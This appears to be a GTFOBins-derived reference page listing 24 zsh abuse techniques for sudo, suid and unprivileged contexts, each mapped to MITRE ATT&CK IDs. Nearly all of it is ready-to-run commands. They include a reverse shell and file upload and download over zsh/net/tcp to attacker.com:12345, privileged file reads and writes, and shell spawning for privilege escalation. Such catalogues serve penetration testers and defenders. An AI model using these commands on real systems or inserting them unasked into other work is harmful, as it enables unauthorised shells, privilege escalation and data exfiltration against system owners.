GTFO · Tool

zsh

24 techniquesLinuxGTFOBinsGPL-3.0

download

File DownloadPrivilege EscalationLinux

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(<&$REPLY)" >/path/to/output-file'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/zsh/

download

File DownloadPrivilege EscalationLinux

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(<&$REPLY)" >/path/to/output-file'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/zsh/

download

File DownloadLinux

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(<&$REPLY)" >/path/to/output-file'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/zsh/

file-read

File ReadPrivilege EscalationLinux

zsh -c 'echo "$(</path/to/input-file)"'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/zsh/

file-read

File ReadPrivilege EscalationLinux

zsh -c 'echo "$(</path/to/input-file)"'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/zsh/

file-read

File ReadLinux

zsh -c 'echo "$(</path/to/input-file)"'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/zsh/

file-read

File ReadPrivilege EscalationLinux

This spawns a pager if run in a TTY.

zsh -c '</path/to/input-file'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/zsh/

file-read

File ReadPrivilege EscalationLinux

This spawns a pager if run in a TTY.

zsh -c '</path/to/input-file'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/zsh/

file-read

File ReadLinux

This spawns a pager if run in a TTY.

zsh -c '</path/to/input-file'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/zsh/

file-write

File WritePrivilege EscalationLinux

zsh -c 'echo DATA >/path/to/output-file'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/zsh/

file-write

File WritePrivilege EscalationLinux

zsh -c 'echo DATA >/path/to/output-file'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/zsh/

file-write

File WriteLinux

zsh -c 'echo DATA >/path/to/output-file'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/zsh/

inherit ← less

ExecutionFile ReadFile WritePrivilege EscalationLinux

zsh -c '</etc/hosts'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: inherit, from:less
MITRE: T1059 T1005 T1565
Refs: gtfobins.github.io/gtfobins/zsh/

inherit ← less

ExecutionFile ReadFile WritePrivilege EscalationLinux

zsh -c '</etc/hosts'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: inherit, from:less
MITRE: T1059 T1005 T1565
Refs: gtfobins.github.io/gtfobins/zsh/

inherit ← less

ExecutionFile ReadFile WriteLinux

zsh -c '</etc/hosts'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: inherit, from:less
MITRE: T1059 T1005 T1565
Refs: gtfobins.github.io/gtfobins/zsh/

reverse-shell

Reverse/Bind ShellPrivilege EscalationLinux

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;zsh >&$REPLY 2>&$REPLY 0>&$REPLY'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: reverse-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/zsh/

reverse-shell

Reverse/Bind ShellPrivilege EscalationLinux

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;zsh >&$REPLY 2>&$REPLY 0>&$REPLY'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: reverse-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/zsh/

reverse-shell

Reverse/Bind ShellLinux

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;zsh >&$REPLY 2>&$REPLY 0>&$REPLY'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: reverse-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/zsh/

shell

ExecutionPrivilege EscalationLinux

zsh

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/zsh/

shell

ExecutionPrivilege EscalationLinux

zsh

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/zsh/

shell

ExecutionLinux

zsh

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/zsh/

upload

File UploadPrivilege EscalationLinux

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(</path/to/input-file)" >&$REPLY'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/zsh/

upload

File UploadPrivilege EscalationLinux

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(</path/to/input-file)" >&$REPLY'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/zsh/

upload

File UploadLinux

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(</path/to/input-file)" >&$REPLY'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/zsh/